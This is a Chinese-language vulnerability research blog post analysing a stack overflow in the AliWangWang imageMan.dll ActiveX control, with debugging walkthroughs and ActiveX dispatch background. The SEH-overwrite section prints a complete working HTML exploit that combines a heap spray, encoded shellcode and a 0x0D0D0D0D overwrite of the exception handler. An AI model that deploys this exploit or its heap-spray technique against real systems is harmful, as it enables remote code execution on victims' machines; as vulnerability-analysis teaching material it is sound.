1. 程式人生 > >盜墓筆記—阿裏旺旺ActiveX控件imageMan.dll棧溢出漏洞研究

盜墓筆記—阿裏旺旺ActiveX控件imageMan.dll棧溢出漏洞研究

baidu 一個 參數 variant dispatch 旺旺 unsigned def ssi

本文作者:i春秋作家——cq5f7a075d

也許現在還研究Activex就是挖墳,但是呢,筆者是摸金校尉,挖墳,呸!盜墓是筆者的本職工作。

額,不扯了,本次研究的是阿裏旺旺ActiveX控件imageMan.dll棧溢出漏洞,來源於《漏洞戰爭》一書,書中簡單介紹了漏洞情況,沒有詳述。筆者在研究過程中產生了很多疑問,比如為什麽要在DispCallFunc函數處下段?為什麽覆蓋SEH,能不能使用覆蓋返回地址的方式進行漏洞利用?

隨著筆者研究的深入,愈發感覺此洞的精妙之處,真是恨不得立即和大家分享。

1. 前言

漏洞軟件:阿裏旺旺imageMan.dll(見附件)

分析環境:WinXP SP3

參考資料:

《漏洞戰爭:軟件漏洞分析精要》

《0day安全:軟件漏洞分析技術》

https://www.cnblogs.com/qguohog/archive/2013/01/22/2871805.html

http://blog.sina.com.cn/s/blog_6a5e54710102x2jt.html

https://wenku.baidu.com/view/59a3229f172ded630b1cb6dc.html

2. ActiveX基礎知識

2.1. 什麽是ActiveX

2.1.1. 是一種插件簡單的說 ActiveX是瀏覽器插件,它是一些軟件組件或對象,可以將其插入到WEB網頁或其他應用程序中。一般軟件需要用戶單獨下載然後執行安裝,而ActiveX插件是當用戶瀏覽到特定的網頁時,IE瀏覽器即可自動下載並提示用戶安裝。

正是有了插件,瀏覽器才能夠用於閱讀文檔、觀看電影、欣賞音樂、社交、網絡購物等。

瀏覽器插件總體可以劃分為兩大陣營,即IE支持的插件以及非IE支持的插件。雖說Activex是微軟的親兒子,但是,現在win10默認安裝的Edge瀏覽器已經不再支持Activex。再過幾年還有多少人能記得Activex?

2.1.2. 是一種組件對象模型(COM)核心技術是COM,所以獨立於語言開發。

既然使用的是COM技術,那麽就會在註冊表中註冊CLSID:

技術分享圖片

註冊COM命令: regsvr32 ***.dll

2.1.3. 查看已經安裝的ActiveX插件

右鍵IE-Internet屬性-程序-管理加載項:

技術分享圖片

3. ActiveX逆向分析基礎

3.1. classid

每個ActiveX組件中可能包含多個class類,每個class類可能包含了多個接口,每個接口可能包含了多個函數。每個class類有一個自己的classid。在調用ActiveX中的某個函數的時候,會事先通過classid來引入class。

註冊表 HKEY_CLASSES_ROOT\CLSID中記錄的就是classid。每個 classid下面有個typelib,typelib記錄的是所屬com組件的id。組件id記錄在註冊表的HKEY_CLASSES_ROOT\TypeLib目錄下。

3.2. 分發函數

ActiveX組件中調用函數的機制叫做分發。com組件在調用某個函數時,首先使用被調用函數的函數名來調用GetIDsOfNames函數,返回值是函數編號(DISPID,又名調度ID),再使用該函數編號和函數參數來調用Invoke函數。Invoke函數內部調用DispCallFunc(OLEAUT32!DispCallFunc(HWND ActiveX_instant, dispatchID id))獲取函數地址。

分發接口其實就是存在兩個數組,一個存放dispid與接口方法名稱的對值(pair),一個存放的是dispid與接口方法指針(函數指針)的對值。先通過函數名來找函數編號,然後利用函數編號來調用函數。GetIDsOfNames函數和Invoke(OLEAUT32!DispCallFunc)函數中分別使用了函數名稱表和函數地址表。

Idispatch接口如下:

interface IDispatch : IUnknown 
{ 
 virtual HRESULT GetTypeInfoCount(UINT* pctinfo) = 0; 
//GetTypeInfoCount用於獲取自動化組件支持的ITypeInfo接口的數目
         virtual HRESULT GetTypeInfo(UINT itinfo, LCID lcid, ITypeInfo** pptinfo) = 0; 
//GetTypeInfo用於獲取ITypeInfo接口的指針,通過該指針將能夠判斷自動化服務程序所提供的自動化支持
virtual HRESULT GetIDsOfNames (REFIID riid, LPOLESTR* rgszNames, UINT cNames, LCID lcid, DISPID* rgdispid) = 0; 
//GetIDsOfNames讀取一個函數的名稱並返回其函數編號(DISPID,又名調度ID)
virtual HRESULT Invoke(DISPID dispidMember, REFIID riid, LCID lcid, WORD wFlags, DISPPARMS* pdispparams, VARIANT* pvarResult, EXCEPINFO* pexcepinfo, UINT* puArgErr ) = 0;
//Invoke提供了訪問自動化對象暴露出來的方法和屬性的方法
 }

3.3.分析方法-DispCallFunc下段

在網頁中調用ActiveX組件,在瀏覽器背後都會先後調用GetIDsOfNames函數和Invoke函數。因為Invoke函數內部最終要調用OLEAUT32!DispCallFunc函數,因此可以在該函數上下斷點。

業界普遍的方法是利用OLEAUT32!DispCallFunc函數來對調試函數進行跟蹤分析,然後跟進 call ecx。

3.4. ActiveX使用與逆向分析

在html中直接創建對象,然後就可以直接使用了:

技術分享圖片

AutoPic是類裏的一個函數,這裏target是利用類創建的一個對象。根據上面的知識,在調用AutoPic時,會進行分發,根據函數名調用GetIDsOfNames函數DispCallFunc獲取函數地址。在DispCallFunc中的call ecx處下段,就可以斷在進行函數的地方:

技術分享圖片

1001AB7F就是AutoPic的入口地址,OD和IDA中都沒有識別出函數名;

技術分享圖片

所以調用ActiveX組件函數不是通過導出函數調用的,而是利用分發函數。

4. POC文件介紹

第一個POC文件POC1,導致IE崩潰:

技術分享圖片

buffer的長度很大,看著很像棧溢出漏洞,面對棧溢出漏洞,重點關註拷貝的函數。

第二個POC文件POC2,漏洞利用,彈出計算器:

技術分享圖片

5.漏洞分析

5.1. 基於汙點追蹤定位漏洞

本方法是《漏洞戰爭》中介紹的方法,利用導致程序崩潰的POC文件分析程序崩潰原因,定位漏洞。

Windbg附加調試IE,加載POC1在,這個時候程序中斷:

技術分享圖片

中斷位置:0x1003406b ,中斷模塊ImageMan.dll。

中斷原因-向只讀內存空間寫數據:

技術分享圖片

在IDA中反編譯ImageMan.dll,定位0x1003406b:

技術分享圖片

0x1003406b位於_mbsnbcpy函數中,_mbsnbcpy中將第二個參數中的數據復制到第一個參數位置,第三參數size_t是復制的個數。

棧溢出的原因一般是對內存拷貝的長度沒有限制,這裏追蹤_mbsnbcpy中第三個參數size_t。

Ctrl+X查看哪裏調用了_mbsnbcpy:

技術分享圖片

IDA中顯示了好多個上層函數,哪一個才是發生了棧溢出的函數?在Windbg中棧回溯:(111)

技術分享圖片

_mbsnbcpy函數返回0x1001C324,基本可以斷定調用_mbsnbcpy的函數是sub_1001C310:

技術分享圖片

sub_1001C310只起到了傳輸size_t的功能,並沒有修改size_t,需要繼續回溯上層函數。Ctrl+x這次只有一個函數sub_1001AB7F

技術分享圖片

進入sub_1001AB7F+AC向上回溯,導致size_t發生變化的地方發生在

.text:1001AC0B mov eax, [ebp+var_20C]

.text:1001AC11 lea ecx, [ebp+MultiByteStr]

.text:1001AC17 sub eax, ecx

.text:1001AC19 add eax,1

技術分享圖片

[ebp+MultiByteStr]的值是WideCharToMultiByte中生成的新字符串的位置;

[ebp+var_20C]的值是strrchr中查找字符串中’/’最後出現的位置。

eax-ecx+1就可以計算出字符串長度,但是這裏惡意構造的字符串中沒有’/’,所以[ebp+var_20C]的值=0,eax-ecx+1是一個負數,但是size_t是unsigned類型,這裏強制類型轉化,把size_t當作很大的一個數,發生了棧溢出漏洞。

在_mbsnbcpy中將第二個參數中的數據復制到第一個參數位置,[ebp+MultiByteStr]就是第二個參數,[ebp+var_104]就是第一個參數。

其中變量MultiByteStr的地址偏移0×104處是變量var_104,這個104很重要:

技術分享圖片

重啟啟動IE,下段,執行到_mbsnbcpy處,查看棧空間:

技術分享圖片

這次是將0x12dec0處的字符串復制到0x12dfc4(這裏0x12dfc4-0x12dec0=0×104,的確是0×104!),復制的大小size_t=0xffde2141。

至此,我們分析出漏洞原因了,內存拷貝時,沒有對拷貝大小進行限制。

接下來就要進行進行漏洞利用了,棧溢出漏洞利用的方式主要有:覆蓋返回地址和覆蓋SEH。

進行棧回溯看看是否能夠覆蓋返回地址,可以覆蓋0x12e0c8處的地址,貌似可以利用覆蓋返回地址的方式:

技術分享圖片

再看一下SEH鏈,看一下能不能使用覆蓋SEH鏈的方式使用命令:

dt ntdll!_EXCEPTION_REGISTRATION_RECORD -l next poi(7ffdf000)

技術分享圖片

貌似也可以使用覆蓋SEH的方式進行漏洞利用。

5.2. 覆蓋SEH的漏洞利用

POC分析:

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
  
shellcode = unescape(
‘%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395‘+
‘%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1‘+
‘%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e‘+
‘%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5‘+
‘%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f‘+
‘%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5‘+
‘%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525‘+
‘%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e‘);
//size:0xA0
nops=unescape(‘%u9090%u9090‘);  //size:0x04
headersize =20;        //size:0x28,js中的長度是按照寬字符計算的
slackspace= headersize + shellcode.length;  //size:0x0C8,slackspace=100
  
while(nops.length < slackspace) nops+= nops;          //Nop的長度是按照指數增長的,增長到0x100
fillblock= nops.substring(0, slackspace);             //size:0xC8,substring() 方法用於提取字符串中介於兩個指定下標之間的字符
block= nops.substring(0, nops.length- slackspace);        //size:0x100-0xC8=0x38
  
while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
//size:FFEAC
memory=new Array();
  
for( counter=0; counter<200; counter++)
memory[counter]= block + shellcode;
//每個元素的真實數據大小是0xFFFD8,加上額外數據,每個元素在內存中占用的大小是0x100000,一共是200個數據,假設從內存0x0的位置存放數組,200個元素,會一直存放到0xC800000,實際上數組並不是從0x0位置開始存放的,進程本身,堆棧以及其他變量所需的內存空間,會導致數組很容易覆蓋0x0D0D0D0D的地址空間。
s=‘‘;
for( counter=0; counter<=1000; counter++)
s+=unescape("%0D%0D%0D%0D");
target.AutoPic(s,"defaultV");
</script>
</body>
</html>

偏移內容
0×00~0x1F 應該是描述內存的數據
0×20~0×23 應該也是描述內存的數據(0xD8 0xFF 0x0F 0×00)
0×24~0xFFF5B 0×90 0×90(這是填充數據)
0xFFF5C~0xFFFFB shellcode
0xFFFFC~0xFFFFF 0×00 0×00 0×00 0×00

只要數組覆蓋0x0D0D0D0D的內存,那麽我們就可以隨心所欲了。這裏覆蓋SEH的好處是不用關心SEH所在位置,盡量多的溢出,覆蓋SEH。

技術分享圖片

繼續溢出,溢出到不可寫空間,觸發異常,進入SEH處理,執行0x0D0D0D0D,執行大量的NOP,然後執行shellcode:

技術分享圖片

5.3. 覆蓋返回地址的漏洞利用研究

先說結論:不可利用。

這裏要介紹一下WideCharToMultiByte這個API

int WideCharToMultiByte(
 
UINT CodePage, //指定執行轉換的代碼頁
 
DWORD dwFlags, //允許你進行額外的控制,它會影響使用了讀音符號(比如重音)的字符
 
LPCWSTR lpWideCharStr, //指定要轉換為寬字節字符串的緩沖區
 
int cchWideChar, //指定由參數lpWideCharStr指向的緩沖區的字符個數
 
LPSTR lpMultiByteStr, //指向接收被轉換字符串的緩沖區
 
int cchMultiByte, //指定由參數lpMultiByteStr指向的緩沖區最大值
 
LPCSTR lpDefaultChar, //遇到一個不能轉換的寬字符,函數便會使用pDefaultChar參數指向的字符
 
LPBOOL pfUsedDefaultChar //至少有一個字符不能轉換為其多字節形式,函數就會把這個變量設為TRUE
 
);

技術分享圖片

在程序中,cchWideChar被指定為0xFFFFFFFF

cchMultiByte是分配空間的大小,也被指定為0×104。

如圖所示,調用WideCharToMultiByte將轉化為短字符的數據存儲在0x12E044中,但是最多存放0×104個字符。隨後計算‘\’在字符串中的位置,如果這0×104大小的內存中存在‘\’,則size_t的值正常,程序正常運行不會溢出;如果這0×104大小的內存中不存在‘\’,則size_t的值非常大,程序會溢出,同時會因為size_t過大觸發異常,執行SEH。

所以,該漏洞只能利用覆蓋SEH的方法利用,無法利用覆蓋返回地址的方式利用。

這個時候你可能會問,既然[ebp+MultiByteStr](0x12E044)中最多是0×104個字符,那麽如何保證覆蓋到SEH的數據是0x0D0D0D0D呢?

精彩的地方來了!

覆蓋SEH能利用成功就是因為0×104!0x12E044待會兒復制到一個新的內存空間中,而這個新的內存空間位置是0x12E148,恰好是偏移0×104的地方(從IDA中能很清楚看到這兩個變量相距0×104);那麽size_t過大時,從0x12E044復制數據到0x12E148,當0x12E044中的0×104個數據復制完成,正好來到0x12E148處,這裏的數據已經被修改為0x0D。於是程序繼續復制0x0D。如此一直復制下去,覆蓋返回地址,覆蓋SEH,覆蓋到不可讀內存空間觸發異常。

技術分享圖片

後記:

夜深人靜,洗洗睡吧,拜拜(&gt;^ω^&lt;)喵。

附件:

鏈接:https://pan.baidu.com/s/1hsq1PrA 密碼:272q

更多漏洞相關學習資料推薦>>>>

互聯網安全責任峰會——網絡安全行業責任與變化 (譚曉生)

JBoss 反序列化漏洞(CVE-2017-12149)

PHPMyWind存儲XSS漏洞(CVE-2017-12984 )

NFTP緩沖區溢出漏洞(CVE-2017-15222)

【DC010技術沙龍】自動化漏洞利用關鍵技術研究分享

>>>>>> 黑客入門必備技能 帶你入坑和逗比表哥們一起聊聊黑客的事兒,他們說高精尖的技術比農藥都好玩~

盜墓筆記—阿裏旺旺ActiveX控件imageMan.dll棧溢出漏洞研究